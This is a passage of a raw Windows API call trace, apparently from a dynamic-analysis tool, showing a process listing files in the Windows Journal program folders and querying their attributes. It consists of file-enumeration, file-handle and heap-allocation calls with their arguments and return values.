lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.184] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.185] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.185] NtClose (Handle=0x178) returned 0x0 [0080.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.186] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.188] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.188] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0080.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4050 [0080.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.189] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0080.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4070 [0080.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd028 [0080.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.190] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0080.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4090 [0080.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0080.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.192] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0080.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f40b0 [0080.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd0b0 [0080.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.193] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0080.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f40d0 [0080.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd138 [0080.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5d00) returned 0x122efb8 [0080.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12292f0) returned 1 [0080.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.194] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0080.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f40f0 [0080.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd1c0 [0080.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.195] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0080.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4110 [0080.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd248 [0080.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0080.197] GetLastError () returned 0x12 [0080.197] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.197] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0080.198] GetLastError () returned 0x12 [0080.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.198] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0080.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.200] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.200] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.200] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.200] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 